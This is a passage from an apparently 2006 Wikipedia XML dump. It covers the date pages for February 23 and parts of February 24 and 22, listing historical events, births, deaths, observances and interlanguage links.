*2003 - [[Bernard Loiseau]], French chef (b. [[1951]])
*[[2004]] - [[John Randolph (actor)|John Randolph]], American actor (b. [[1915]])
*[[2006]] - [[Don Knotts]], American actor (b. [[1924]])
*[[2006]] - [[John Martin (Canadian broadcaster)|John Martin]], Canadian broadcaster (b. [[1947]]) 
*[[2006]] - [[Dennis Weaver]], American actor (b. [[1924]]) 
&lt;!-- Duplicate instances of years should not be links. --&gt;

==Holidays and observances==
*[[Regifugium]], in the [[Roman calendar]].
*[[Independence Day]] in [[Estonia]] ([[1918]]).
*[[Flag_Day_in_Mexico|Flag Day]] in [[México]].
*[[Dragobete]] in [[Romania]].

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/february/24 BBC: On This Day]
* [http://www.nytimes.com/learning/general/onthisday/20060224.html ''The New York Times'': On This Day]
* [http://www1.sympatico.ca/cgi-bin/on_this_day?mth=Feb&amp;day=24 On This Day in Canada]

----

[[February 23]] - [[February 25]] - [[January 24]] - [[March 24]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:24 Februarie]]
[[an:24 de frebero]]
[[ar:24 فبراير]]
[[ast:24 de febreru]]
[[be:24 лютага]]
[[bg:24 февруари]]
[[bs:24. februar]]
[[ca:24 de febrer]]
[[ceb:Pebrero 24]]
[[co:24 di frivaghju]]
[[cs:24. únor]]
[[csb:24 gromicznika]]
[[cv:Нарăс, 24]]
[[cy:24 Chwefror]]
[[da:24. februar]]
[[de:24. Februar]]
[[el:24 Φεβρουαρίου]]
[[eo:24-a de februaro]]
[[es:24 de febrero]]
[[et:24. veebruar]]
[[eu:Otsailaren 24]]
[[fi:24. helmikuuta]]
[[fo:24. februar]]
[[fr:24 février]]
[[fy:24 febrewaris]]
[[ga:24 Feabhra]]
[[gl:24 de febreiro]]
[[he:24 בפברואר]]
[[hr:24. veljače]]
[[hu:Február 24]]
[[ia:24 de februario]]
[[id:24 Februari]]
[[ie:24 februar]]
[[ilo:Febrero 24]]
[[io:24 di februaro]]
[[is:24. febrúar]]
[[it:24 febbraio]]
[[ja:2月24日]]
[[jv:24 Februari]]
[[ka:24 თებერვალი]]
[[ko:2월 24일]]
[[ku:24'ê reşemiyê]]
[[lb:24. Februar]]
[[lt:Vasario 24]]
[[mk:24 февруари]]
[[ms:24 Februari]]
[[nap:24 'e frevaro]]
[[nl:24 februari]]
[[nn:24. februar]]
[[no:24. februar]]
[[oc:24 de febrièr]]
[[pam:Pebreru 24]]
[[pl:24 lutego]]
[[pt:24 de Fevereiro]]
[[ro:24 februarie]]
[[ru:24 февраля]]
[[scn:24 di frivaru]]
[[sco:24 Februar]]
[[se:Guovvamánu 24.]]
[[simple:February 24]]
[[sk:24. február]]
[[sl:24. februar]]
[[sq:24 Shkurt]]
[[sr:24. фебруар]]
[[sv:24 februari]]
[[te:ఫిబ్రవరి 24]]
[[th:24 กุมภาพันธ์]]
[[tl:Pebrero 24]]
[[tr:24 Şubat]]
[[tt:24. Febräl]]
[[uk:24 лютого]]
[[vi:24 tháng 2]]
[[wa:24 di fevrî]]
[[war:Pebrero 24]]
[[zh:2月24日]]</text>
    </revision>
  </page>
  <page>
    <title>February 23</title>
    <id>11008</id>
    <revision>
      <id>41874898</id>
      <timestamp>2006-03-02T07:45:59Z</timestamp>
      <contributor>
        <username>Calton</username>
        <id>128887</id>
      </contributor>
      <comment>/* Births */ del &quot;[[1983]] - [[ Karunanidhi Madhumitha]] , Software Engineeer HP&quot;, who is, in fact, still non-notable</comment>
      <text xml:space="preserve">{| style=&quot;float:right;&quot;
|- 
|{{FebruaryCalendar}}
|-
|{{ThisDateInRecentYears|Month=February|Day=23}}
|}
'''February 23''' is the 54th day of the year in the [[Gregorian Calendar]]. There are 311 days remaining, 312 in [[leap year]]s.
==Events==
* [[1455]] - Traditional date for the publication of the [[Gutenberg Bible]], the first [[Western]] [[book]] printed from [[movable type]].
* [[1660]] - [[Charles XI of Sweden|Charles XI]] becomes [[Monarch of Sweden|King of Sweden]].
* [[1778]] - [[American Revolution]]: [[Baron von Steuben]] arrives at [[Valley Forge]], [[Pennsylvania]] to help to train the [[Continental Army]].
* [[1820]] - [[Cato Street Conspiracy]]: A plot to murder all the [[United Kingdom|British]] cabinet ministers is exposed.
* [[1836]] - The [[Battle of the Alamo|Siege of the Alamo]] begins in [[San Antonio, Texas]].
* [[1847]] - [[Mexican-American War]]: [[Battle of Buena Vista]] - In [[Mexico]], [[United States|American]] troops defeat [[Mexican]] [[general]] [[Antonio López de Santa Anna]].
* [[1854]] - The official [[independence]] of the [[Orange Free State]] is declared.   
* [[1861]] - [[President]]-elect [[Abraham Lincoln]] arrives secretly in [[Washington, DC]] after an [[assassination]] attempt in [[Baltimore, Maryland]].
* [[1870]] - Military control of [[Mississippi]] ends and it is readmitted to the [[Union]].
* [[1874]] - [[Walter Winfield]] patents a game called &quot;[[sphairistike]]&quot;, now more commonly called [[lawn tennis]].
* [[1883]] - [[Alabama]] becomes the first [[U.S. state]] to enact an [[antitrust law]].
* [[1887]] - The [[French Riviera]] is hit by a large [[earthquake]], killing around 2,000.
* [[1893]] - [[Rudolf Diesel]] receives a patent for the [[diesel engine]].
* [[1898]] - [[Émile Zola]] is imprisoned in [[France]] after writing &quot;[[J'accuse]]&quot;, a letter accusing the [[Government_of_France|French government]] of [[anti-Semitism]] and wrongfully placing [[Captain]] [[Alfred Dreyfus]] in jail.
* [[1900]] - In [[South Africa]] the [[Boer]]s and [[United Kingdom|British]] troops fight in the [[Battle of Hart's Hill]].
* [[1903]] - [[Cuba]] leases [[Guantanamo Bay]] to the [[United States]] &quot;in perpetuity&quot;.
* [[1904]] - For $10 million the [[United States]] gains control of the [[Panama Canal]] Zone.
* [[1905]] - [[Chicago, Illinois]] attorney [[Paul Harris]] and three other businessmen meet for lunch to form the [[Rotary Club]], the world's first [[service club]].
* [[1909]] - The [[Silver Dart]] makes the first powered flight in [[Canada]] and the [[British Empire]].
* [[1919]] - [[Benito Mussolini]] forms the [[Fascist Party]] in [[Italy]].  
* [[1927]] - The [[Federal Radio Commission]] (later renamed the [[Federal Communications Commission]]) begins to regulate the use of [[radio]] frequencies.
* [[1934]] - [[Léopold III of Belgium|Léopold III]] becomes [[King]] of [[Belgium]].
* [[1940]] - [[World War II]]: [[Soviet Union]] troops conquer [[Lasi Island]].  
* 1940 - The animated [[film|movie]] ''[[Pinocchio (1940 movie)|Pinocchio]]'' is released.
* [[1941]] - [[Plutonium]] was first produced and isolated by Dr. [[Glenn T. Seaborg]].
* [[1945]] - [[World War II]]: During the [[Battle of Iwo Jima]], a group of [[United States Marine]]s reach the top of [[Mount Surabachi]] on the island and are [[Raising the Flag on Iwo Jima|photographed raising the American flag]]. The photo would later win a [[Pulitzer Prize]].  
* 1945 - [[World War II]]: The capital of the [[Philippines]], [[Manila]], is liberated by [[United States|American]] forces.
* 1945 - [[World War II]]: Capitulation of [[Germany|German]] garrison in [[Poznan]], city is liberated by [[Soviet Union|Soviet]] and [[Poland|Polish]] forces.
* 1945 - [[World War II]]: The [[Germany|German]] town of [[Pforzheim]] is completely destroyed by a raid of 379 [[British]] bombers.
* [[1947]] - [[International Organization for Standardization]](ISO) is founded.
* [[1954]] - The first mass [[vaccination]] of children against [[polio]] begins in [[Pittsburgh, Pennsylvania]].  
* [[1955]] - First meeting of the [[Southeast Asia Treaty Organization]] ([[SEATO]]).
* 1955 - [[Edgar Faure]] becomes [[Prime Minister]] of [[France]].
* [[1956]] - In a cosmic event known as [[the great flare]], the Earth was bombarded with a burst of protons and other nuclei from a [[solar flare]].
* [[1957]] - The founding congress of the [[Senegalese Popular Bloc]] is opened in [[Dakar]].
* [[1958]] - [[Cuba]]n rebels kidnap 5-time world driving champion [[Juan Manuel Fangio]]. 
* [[1966]] - A military [[coup]] in [[Syria]] replaces the previous [[government]].
* [[1974]] - The [[Symbionese Liberation Army]] demands $4 million more to release kidnap victim [[Patty Hearst]].
* [[1975]] - In response to the [[1973 energy crisis|energy crisis]], [[daylight saving time]] commences nearly two months early in the [[United States]].
* [[1980]] - [[Ayatollah]] [[Ruhollah Khomeini]] states that [[Iran]]'s [[parliament]] would decide the fate of the [[United States|American]] [[embassy]] hostages.  
* [[1981]] - [[23-F]], [[Antonio Tejero]] attempts a [[coup d'état]] by capturing the [[Spanish Congress of Deputies]]. 
* [[1983]] - The [[Spanish]] [[PSOE|Socialist]] [[government]] of [[Felipe González]] and [[Miguel Boyer]] nationalizes [[Rumasa]], a holding of [[José María Ruiz Mateos]].
* 1983 - The [[Environmental Protection Agency]] announces its intent to buy out and evacuate the [[dioxin]]-contaminated community of [[Times Beach, Missouri]].
* [[1987]] - A [[supernova]] is seen in the [[Large Magellanic Cloud]] (see [[Supernova 1987a]]).
* [[1991]] - [[Gulf War]]: Ground troops cross the [[Saudi Arabia]] border and enter [[Iraq]], thus starting the ground-phase of the war.
* 1991 - In [[Thailand]], [[General}} [[Sunthorn Kongsompong]] leads a bloodless [[coup d'état]], deposing [[Prime Minister]] [[Chatichai Choonhavan]]. 
* [[1992]] - The [[Communist Party of Georgia|Socialist Labour Party]] is founded in [[Georgia (country)|Georgia]].
* [[1993]] - [[Gary Coleman]] wins a $1,280,000 [[lawsuit]] against his parents.  
* [[1995]] - The [[Dow Jones Industrial Average]] gains 30.28 to close at 4,003.33, closing above 4,000 for the [[Closing milestones of the Dow Jones Industrial Average|first time]].
* [[1997]] - A large fire occurs in the [[Russia]]n [[Space station]], [[Mir]].
* [[1998]] - [[Tornado]]es in central [[Florida]] destroy or damage 2,600 structures and kill 42.
* 1998 - [[Osama bin Laden]] publishes a [[fatwa]] declaring [[jihad]] against all [[Jew]]s and [[Crusaders]].
* 1998 - [[Netscape Communications Corporation]] announces the foundation of [[Mozilla Organization|mozilla.org]], to co-ordinate the development of the [[open source]] [[Mozilla]] [[web browser]].
* [[1999]] - [[Kurd]]ish rebel leader [[Abdullah Öcalan]] is charged with [[treason]] in [[Ankara]], [[Turkey]].  
* 1999 - [[White supremacist]] [[John William King]] is found guilty of kidnapping and killing [[African American]] [[James Byrd Jr]] by dragging him behind a truck for two miles.
* 1999 - An [[avalanche]] destroys the [[Austria|Austrian]] village of [[Galtür]], killing 31.
* [[2005]] - [[Slovakia Summit 2005]] begins, marking the first occasion when a sitting [[President of the United States|American President]] visits [[Slovakia]]; [[George W. Bush|Bush]] and [[Vladimir Putin|Putin]] are in attendance.

==Births==
*[[1417]] - [[Pope Paul II]] (d. [[1471]])
*[[1633]] - [[Samuel Pepys]], English diarist (d. [[1703]])
*[[1646]] - [[Tokugawa Tsunayoshi]], Japanese shogun (d. [[1709]])
*[[1648]] - [[Arabella Churchill (royal mistress)|Arabella Churchill]], English mistress of [[James II of England]] (d. [[1730]])
*[[1680]] - [[Jean-Baptiste Le Moyne de Bienville]], French colonizer and Governor of Louisiana (d. [[1767]])
*[[1685]] - [[George Friderich Handel|Georg Friederich Händel]], German composer (d. [[1759]])
*[[1688]] - Queen [[Ulrika Eleonora of Sweden]] (d. [[1741]])
*[[1723]] - [[Richard Price]], Welsh philosopher (d. [[1791]])
*[[1743]] - [[Mayer Amschel Rothschild]], German-born banker (d. [[1812]])
*[[1840]] - [[Carl Menger]], Austrian economist (d. [[1921]])
*[[1868]] - [[W.E.B. DuBois]], American civil rights leader (d. [[1963]])
*[[1873]] - [[Liang Qichao]], Chinese scholar (d. [[1929]])
*[[1874]] - [[Konstantin Päts]], Estonian president (d. [[1956]])
*[[1878]] - [[Kazimir Malevich]], Ukrainian painter and art theorist (d. [[1935]])
*[[1883]] - [[Victor Fleming]], American director (d. [[1949]])
*1883 - [[Karl Jaspers]], German philosopher (d. [[1969]])
*[[1889]] - [[Musidora]], French actress and director (d. [[1957]])
*[[1899]] - [[Erich Kästner]], German writer (d. [[1974]])
*[[1904]] - [[William L. Shirer]], American historian (d. [[1993]])
*1904 - [[Leopold Trepper]], Soviet spy (d. [[1982]])
*[[1908]] - [[William McMahon]], twentieth [[Prime Minister of Australia]] (d. [[1988]])
*[[1914]] - [[Theofiel Middelkamp]], Dutch cyclist (d. [[2005]])
*[[1915]] - [[Jon Hall]], American actor (d. [[1979]])
*1915 - [[Paul Tibbets]], American pilot
*[[1918]] - [[Richard G. Butler]], American fascist (d. [[2004]])
*[[1924]] - [[Allan McLeod Cormack]], South-African born physicist, recipient of the [[Nobel Prize in Physiology or Medicine]] (d. [[1998]])
*[[1928]] - [[Vasili Lazarev]], cosmonaut (d. [[1990]])
*[[1932]] - [[Majel Barrett]], American actress
*[[1937]] - [[Tom Osborne (football coach)|Tom Osborne]], American football coach and politician
*[[1938]] - [[Diane Varsi]], American actress  (d. [[1992]])
*[[1940]] - [[Peter Fonda]], American actor
*[[1943]] - [[Fred Biletnikoff]], American football player and coach
*[[1944]] - [[Johnny Winter]], American musician
*[[1945]] - [[Allan Boesak]], South African activist
*[[1951]] - [[Ed Jones (football player)|Ed Jones]], American football player
*1951 - [[Patricia Richardson]], American actress 
*[[1952]] - [[Brad Whitford]], American musician ([[Aerosmith]])
*[[1954]] - [[Viktor Yushchenko]], [[President of Ukraine]]
*[[1955]] - [[Howard Jones (musician)|Howard Jones]], British pop singer
*[[1958]] - [[Tony Barrell (journalist)|Tony Barrell]], English writer and journalist
*1958 - [[David Sylvian]], English musician
*[[1959]] - [[Richard Dodds]], British field hockey player
*[[1960]] - [[Alan Griffin]], [[Australia]]n politician and member for [[Division of Bruce|Bruce]] in the [[Australian House of Representatives|House of Representatives]]
*[[1963]] - [[Bobby Bonilla]], former baseball player
*[[1965]] - [[Kristin Davis]], American actress
*1965 - [[Michael Dell]], American computer manufacturer
*1965 - [[Helena Suková]], former [[Czech Republic|Czech]] tennis player
*[[1973]] - [[André Tanneberger]], German DJ
*[[1974]] - [[Jaime Villarreal]], Mexican musician
*[[1977]] - [[Kristina Šmigun]], Estonian cross-country skier
*[[1978]] - [[Dan Snyder]], Canadian hockey player (d. [[2003]])
*[[1981]] - [[Gareth Barry]], English footballer
*[[1983]] - [[Ahmed Hossam|Mido]], Egyptian footballer
*[[1994]] - [[Dakota Fanning]], American child actress
&lt;!-- Do not add yourself, or anyone else who does not already have a Wikipedia article, to this list. Duplicate instances of years should not be links. --&gt;

==Deaths==
*[[1100]] - [[Emperor Zhezong]] of China (b. [[1077]])
*[[1270]] - [[Saint Isabel of France]], daughter of [[Louis VIII of France]] (b. [[1225]])
*[[1447]] - [[Pope Eugenius IV]] (b. [[1383]])
*1447 - [[Humphrey, Duke of Gloucester]] (b. [[1390]])
*[[1464]] - [[Zhengtong]], Emperor of China (b. [[1427]])
*[[1526]] - [[Diego Colón]], Spanish Viceroy of the Indies
*[[1554]] - [[Henry Grey, 1st Duke of Suffolk]], English poltician (executed)
*[[1572]] - [[Pierre Certon]], French composer
*[[1603]] - [[Andrea Cesalpino]], Italian philosopher, physician, and botanist (b. [[1519]])
*[[1669]] - [[Leo Aitzema]], Dutch historian and statesman (b. [[1600]])
*[[1704]] - [[Georg Muffat]], French composer (b. [[1653]])
*[[1730]] - [[Pope Benedict XIII]] (b. [[1649]])
*[[1766]] - [[Stanislaw Leszczynski]], [[King of Poland]] (b. [[1677]])
*[[1781]] - [[George Taylor]], American signer of the Declaration of Independence
*[[1792]] - [[Joshua Reynolds]], English painter (b. [[1723]])
*[[1800]] - [[Joseph Warton]], English literary critic (b. [[1722]])
*[[1821]] - [[John Keats]], English poet (b. [[1795]])
*[[1848]] - [[John Quincy Adams]], 6th [[President of the United States]] (b. [[1767]])
*[[1855]] - [[Carl Friedrich Gauss]], German mathematician, astronomer, and physicist (b. [[1777]])
*[[1897]] - [[Woldemar Bargiel]], German composer (b. [[1828]])
*[[1908]] - [[Johannes Friedrich August von Esmarch]], German surgeon (b. [[1823]])
*[[1922]] - [[Albert Victor Bäcklund]], Swedish physicist (b. [[1845]])
*[[1930]] - [[Horst Wessel]], Nazi ideologue and composer (b. [[1907]])
*[[1934]] - [[Edward Elgar]], English composer (b. [[1857]])
*[[1948]] - [[John Robert Gregg]], Irish-born publisher and inventor (b. [[1866]])
*[[1955]] - [[Paul Claudel]], French poet and playwright (b. [[1868]]).
*[[1965]] - [[Stan Laurel]], American actor and comedian (b. [[1890]])
*[[1969]] - King [[Saud of Saudi Arabia]] (b. [[1902]])
*[[1973]] - [[Dickinson W. Richards]], American physician, recipient of the [[Nobel Prize in Physiology or Medicine]] (b. [[1895]])
*[[1974]] - [[Harry Ruby]], American composer and writer (b. [[1895]])
*[[1979]] - [[W.A.C. Bennett]], Canadian politician (b. [[1900]])
*[[1990]] - [[José Napoleón Duarte]], [[President of El Salvador]] (b. [[1925]])
*[[1995]] - [[Melvin Franklin]], American singer ([[The Temptations]]) (b. [[1942]])
*1995 - [[James Herriot]], English writer (b. [[1916]])
*[[1997]] - [[Tony Williams]], American jazz drummer (b. [[1945]])
*[[2000]] - [[Ofra Haza]], Israeli singer (b. [[1957]])
*[[2000]] - [[Stanley Matthews]], English Footballer (b. [[1915]])
*[[2003]] - [[Robert K. Merton]], American sociologist (b. [[1910]])
*[[2004]] - [[Vijay Anand]], Indian film director (b. [[1934]])
*2004 - [[Carl Anderson (singer)|Carl Anderson]], American singer (b. [[1945]])
*2004 - [[Sikander Bakht]], Governor of Kerala (b. [[1918]])
*2004 - [[Don Cornell]], American singer (b. [[1919]])
*2004 - [[Carl Liscombe]], Canadian hockey player (b. [[1915]])
&lt;!-- Duplicate instances of years should not be links. --&gt;

==Holidays and observances==
* [[Roman Empire]] - [[Terminus (mythology)|Terminalia]] held in honor of [[Terminus (mythology)|Terminus]].
* [[Catholicism]] - Feast day of St [[Polycarp of Smyrna]].
* [[Guyana]] - [[Mashramani-Republic Day]].
* [[Russia]] - [[Day of Motherland's Defender]] (formerly [[Red Army|Red Army Day]] or [[Day of Soviet Army and Navy]]).
* [[Brunei]] - [[National Day]].

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/february/23 BBC: On This Day]
* [http://www.nytimes.com/learning/general/onthisday/20060223.html ''The New York Times'': On This Day]
* [http://www1.sympatico.ca/cgi-bin/on_this_day?mth=Feb&amp;day=23 On This Day in Canada]

----
[[February 22]] - [[February 24]] - [[January 23]] - [[March 23]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:23 Februarie]]
[[ar:23 فبراير]]
[[an:23 de frebero]]
[[ast:23 de febreru]]
[[bg:23 февруари]]
[[be:23 лютага]]
[[bs:23. februar]]
[[ca:23 de febrer]]
[[ceb:Pebrero 23]]
[[cv:Нарăс, 23]]
[[co:23 di frivaghju]]
[[cs:23. únor]]
[[cy:23 Chwefror]]
[[da:23. februar]]
[[de:23. Februar]]
[[et:23. veebruar]]
[[el:23 Φεβρουαρίου]]
[[es:23 de febrero]]
[[eo:23-a de februaro]]
[[eu:Otsailaren 23]]
[[fo:23. februar]]
[[fr:23 février]]
[[fy:23 febrewaris]]
[[ga:23 Feabhra]]
[[gl:23 de febreiro]]
[[ko:2월 23일]]
[[hr:23. veljače]]
[[io:23 di februaro]]
[[ilo:Febrero 23]]
[[id:23 Februari]]
[[ia:23 de februario]]
[[ie:23 februar]]
[[is:23. febrúar]]
[[it:23 febbraio]]
[[he:23 בפברואר]]
[[jv:23 Februari]]
[[ka:23 თებერვალი]]
[[csb:23 gromicznika]]
[[ku:23'ê reşemiyê]]
[[la:23 Februarii]]
[[lt:Vasario 23]]
[[lb:23. Februar]]
[[hu:Február 23]]
[[mk:23 февруари]]
[[ms:23 Februari]]
[[nap:23 'e frevaro]]
[[nl:23 februari]]
[[ja:2月23日]]
[[no:23. februar]]
[[nn:23. februar]]
[[oc:23 de febrièr]]
[[os:23 февралы]]
[[pl:23 lutego]]
[[pt:23 de Fevereiro]]
[[ro:23 februarie]]
[[ru:23 февраля]]
[[se:Guovvamánu 23.]]
[[sco:23 Februar]]
[[sq:23 Shkurt]]
[[scn:23 di frivaru]]
[[simple:February 23]]
[[sk:23. február]]
[[sl:23. februar]]
[[sr:23. фебруар]]
[[fi:23. helmikuuta]]
[[sv:23 februari]]
[[tl:Pebrero 23]]
[[tt:23. Febräl]]
[[te:ఫిబ్రవరి 23]]
[[th:23 กุมภาพันธ์]]
[[vi:23 tháng 2]]
[[tr:23 Şubat]]
[[uk:23 лютого]]
[[wa:23 d' fevrî]]
[[war:Pebrero 23]]
[[zh:2月23日]]
[[pam:Pebreru 23]]</text>
    </revision>
  </page>
  <page>
    <title>February 22</title>
    <id>11009</id>
    <revision>
      <id>41952568</id>
      <timestamp>2006-03-02T21:17:37Z</timestamp>
      <contributor>
        <username>Elizabeth M Ross</username>
        <id>891688</id>
      </contributor>
      <minor />
      <comment>/* Events */</comment>
      <text xml:space="preserve">{| style=&quot;float:right;&quot;
|- 
|{{FebruaryCalendar}}
|-
|{{ThisDateInRecentYears|Month=February|Day=22}}
|}
'''February 22''' is the 53rd day of every year in the [[Gregorian Calendar]]. There are 312 days remaining, 313 in [[leap year]]s.

==Events==
*[[1290s BC|1295 BC]] - The coronation of [[Ramses II]], on whose face the sun's rays fall each year in [[Abu Simbel]] temple.
* [[1281]] - [[Pope Martin IV|Martin IV]] becomes [[Pope]].
* [[1288]] - [[Pope Nicholas IV|Nicholas IV]] becomes [[Pope]].
* [[1495]] - King [[Charles VIII of France]] enters [[Naples]] to claim the city's throne.
* [[1632]] - [[Galileo Galilei|Galileo]]'s ''[[Dialogue Concerning the Two Chief World Systems]]'' is published.
* [[1744]] - The [[Battle of Toulon, 1744|Battle of Toulon]] begins.
* [[1819]] - By the [[Adams-Onís Treaty]], [[Spain]] sells [[History of Florida|Florida]] to the [[United States]] for five million [[United States dollar|U.S. dollars]].
* [[1847]] - [[Mexican-American War]]: The [[Battle of Buena Vista]] - 5,000 [[United States|American]] troops drive off 15,000 [[Mexico|Mexican]].
* [[1855]] - The [[Pennsylvania State University]] is founded.
* [[1856]] - The [[United States Republican Party|Republican Party]] opens its first national meeting in [[Pittsburgh, Pennsylvania]].
* [[1865]] - [[Tennessee]] adopts a new [[constitution]] that abolishes [[slavery]].  
* [[1876]] - [[Johns Hopkins University]] is founded in [[Baltimore, Maryland]].
* [[1879]] - In [[Utica, New York]], [[Frank Woolworth]] opens the first of many of 5 and 10-cent [[Woolworth]] stores.  
* [[1889]] - [[President of the United States|President]] [[Grover Cleveland]] signs a bill admitting [[North Dakota]], [[South Dakota]], [[Montana]] and [[Washington]] as [[U.S. state]]s.
* [[1904]] - [[UK]] recognises the [[South Orkney Islands]] as part of [[Argentina]], in [[1908]] claims them again.
* [[1915]] - [[Germany]] institutes [[unrestricted submarine warfare]]. 
* [[1920]] - In [[Emeryville, California]], the first [[dog race]] track to employ an imitation [[rabbit]] opens.  
* [[1923]] - The [[United States]] begins the first transcontinental [[air mail]] route.
* [[1924]] - [[Calvin Coolidge]] becomes the first [[President of the United States]] to deliver a [[radio]] broadcast from the [[White House]].
* [[1942]] - [[World War II]]: [[President of the United States|President]] [[Franklin D. Roosevelt]] orders [[General]] [[Douglas MacArthur]] out of the [[Philippines]] as [[United States|American]] defense collapses.
* [[1943]] - Members of [[White Rose]] are executed in [[Nazi]] [[Germany]].
* [[1948]] - Start of the [[Czechoslovak]] [[Revolution]].
* [[1949]] - [[Grady the Cow]], a 1,200-pound cow gets stuck inside a silo on a farm in [[Yukon, Oklahoma]] and garners national media attention.
* [[1956]] - [[Elvis Presley]] enters the music charts for the first time, with &quot;[[Heartbreak Hotel]]&quot;.
* [[1958]] - [[Egypt]] and [[Syria]] join to form the [[United Arab Republic]].
* [[1959]] - [[Lee Petty]] wins the first [[Daytona 500]].
* [[1969]] - [[Barbara Jo Rubin]] wins a [[United States]] thoroughbred [[horse race]] making history as the first woman to do so.  
* [[1973]] - [[Cold War]]: Following [[President]] [[Richard Nixon]]'s [[Nixon visit to China 1972|visit]] to [[China]], the [[United States]] and the [[People's Republic of China]] agree to establish liaison offices.
* [[1974]] - [[Organization of the Islamic Conference]] ([[OIC]]) summit conference starts in [[Lahore]], [[Pakistan]]. Thirty-seven countries are attending. Twenty-two heads of state and government participate.  
* [[1979]] - Independence of [[Saint Lucia]] from the [[United Kingdom]].
* [[1980]] - The [[United States]] [[ice hockey]] team defeats the [[Soviet Union]] team at the [[1980 Winter Olympic Games]] in an upset dubbed the &quot;[[Miracle on Ice]]&quot;.
* [[1994]] - [[Aldrich Ames]] and his wife are charged by the [[United States Department of Justice]] with spying for the [[Soviet Union]]. 
* [[1997]] - In [[Roslin]], [[Scotland]], scientists announce that an adult [[sheep]] named [[Dolly the sheep|Dolly]] had been successfully [[cloning|cloned]].
* [[2002]] - A [[MH-47E Chinook]] [[helicopter]] crashes into the ocean near the [[Philippines]], killing all 10 aboard.
* [[2006]] - [[Al Askari Mosque]] bombed.
* [[2006]] - [[Dushanbe synagogue]] demolished.
* [[2006]] - At least six men stage Britain's [[Securitas depot robbery|biggest ever robbery]], stealing £53m (about $92.5 million or €78 million) from a Securitas depot in [[Tonbridge]], [[Kent]].
* [[2006]] - [[Utada Hikaru]]'s 11th single &quot;[[Keep Tryin']]&quot; is released.

==Births==
*[[1040]] - [[Rashi]], French rabbi and commentator (d. [[1105]])
*[[1403]] - King [[Charles VII of France]] (d. [[1461]])
*[[1440]] - King [[Ladislaus Posthumus of Bohemia and Hungary]] (d. [[1457]])
*[[1500]] - [[Cardinal Rodolfo Pio da Carpi]], Italian humanist (d. [[1564]])
*[[1612]] - [[George Digby, 2nd Earl of Bristol]], English statesman (d. [[1677]])
*[[1705]] - [[Peter Artedi]], Swedish naturalist (d. [[1735]])
*[[1714]] - [[Louis-Georges de Bréquigny]], French historian (d. [[1795]])
*[[1732]] (N.S.) - [[George Washington]], first [[President of the United States]] (d. [[1799]])
*[[1778]] - [[Rembrandt Peale]], American artist (d. [[1860]])
*[[1788]] - [[Arthur Schopenhauer]], German philosopher (d. [[1860]])
*[[1796]] - [[Alexis Bachelot]], French missionary (d. [[1838]])
*1796 - [[Lambert Adolphe Jacques Quetelet]], Belgian mathematician (d. [[1874]])
*[[1817]] - [[Carl Wilhelm Borchardt]], German mathematician (d. [[1880]])
*[[1819]] - [[James Russell Lowell]], American poet and essayist (d. [[1891]])
*[[1839]] - [[Francis Pharcellus Church]], American editor and publisher (d. [[1906]])
*[[1840]] - [[August Bebel]], German politician (d. [[1913]])
*[[1849]] - [[Nikolay Yakovlevich Sonin]], Russian mathematician (d. [[1915]])
*[[1857]] - [[Robert Baden-Powell, 1st Baron Baden-Powell]], English founder of the Boy Scouts (d. [[1941]]) (also of his wife - see 1889)
*1857 - [[Heinrich Hertz]], German physicist (d. [[1894]])
*[[1878]] - [[Walter Ritz]], Swiss physicist (d. [[1909]]) 
*[[1880]] - [[Frigyes Riesz]], Hungarian mathematician (d. [[1956]])
*[[1883]] - [[Marguerite Clark]], American silent film actress (d. [[1940]])
*[[1886]] - [[Hugo Ball]], German author and poet (d. [[1927]])
*[[1887]] - [[Ksawery Tartakower]], Polish chess player (d. [[1956]])
*[[1889]] - [[Wojciech Rubinowicz]], Polish physicist (d. [[1974]])
*[[1889]] - Lady [[Olave Baden-Powell]], English Chief Girl Guide (d. [[1977]]) (also of her husband - see 1857)
*[[1892]] - [[Edna St. Vincent Millay]], American writer (d. [[1950]])
*[[1896]] - [[Enid Markey]], silent screen actress  (d. [[1981]])
*[[1899]] - [[Dwight Frye]], American actor (d. [[1943]])
*1899 - [[George O'Hara]], American actor (d. [[1966]])
*1899 - [[Dechko Uzunov]], Bulgarian painter (d. [[1986]])
*[[1900]] - [[Luis Buñuel]], Spanish-born film director (d. [[1983]])
*[[1902]] - [[Fritz Strassmann]], German physicist (d. [[1980]])
*[[1903]] - [[Morley Callaghan]], Canadian writer (d. [[1990]])
*[[1907]] - [[Sheldon Leonard]], American actor, writer, director, and producer (d. [[1997]])
*1907 - [[Robert Young (actor)|Robert Young]], American actor (d. [[1998]])
*[[1908]] - Sir [[John Mills]], English actor (d. [[2005]])
*[[1914]] - [[Renato Dulbecco]], Italian-born virologist, recipient of the [[Nobel Prize in Physiology or Medicine]]
*[[1918]] - [[Sid Abel]], Canadian hockey player (d. [[2000]])
*1918 - [[Charlie Finley]], American sports entrepreneur (d. [[1996]])
*1918 - [[Don Pardo]], American radio and television announcer
*1918 - [[Robert Wadlow]], tallest person in history (d. [[1940]])
*[[1921]] - [[Jean-Bédel Bokassa]], ruler of the Central African Republic (d. [[1996]])
*1921 - [[Wayne Booth]], American literary critic (d. [[2005]])
*1921 - [[Giuletta Masina]], Italian actress  (d. [[1994]])
*[[1925]] - [[Edward Gorey]], American illustrator (d. [[2000]])
*[[1926]] - [[Kenneth Williams]], English actor (d. [[1988]])
*1926 - [[Bud Yorkin]], American film director
*[[1928]] - [[Paul Dooley]], American actor
*1928 - [[Bruce Forsyth]], British entertainer
*[[1929]] - [[Rebecca Schull]], American actress
*[[1930]] - [[Marni Nixon]], American singer
*[[1932]] - [[Ted Kennedy]], U.S. senator from Massachusetts
*[[1933]] - [[Katharine, Duchess of Kent|Katharine]], The [[Duchess]] of [[Kent]]
*[[1934]] - [[Sparky Anderson]], American baseball manager
*[[1936]] - [[J. Michael Bishop]], American scientist, recipient of the [[Nobel Prize in Physiology or Medicine]]
*[[1938]] - [[Ishmael Reed]], American writer
*[[1941]] - [[Hipólito Mejía]], [[President of the Dominican Republic]]
*[[1944]] - [[Jonathan Demme]], American director
*1944 - [[Robert Kardashian]], American lawyer
*1944 - [[Tom Okker]], Dutch tennis player 
*[[1945]] - [[Leslie Charleson]], American actress
*[[1949]] - [[Niki Lauda]], Austrian race car driver
*1949 - [[Olga Morozova]], Russian tennis player
*[[1950]] - [[Julius Erving]], American basketball player
*1950 - [[Ellen Greene]], American actress
*1950 - [[Miou-Miou]], French actress
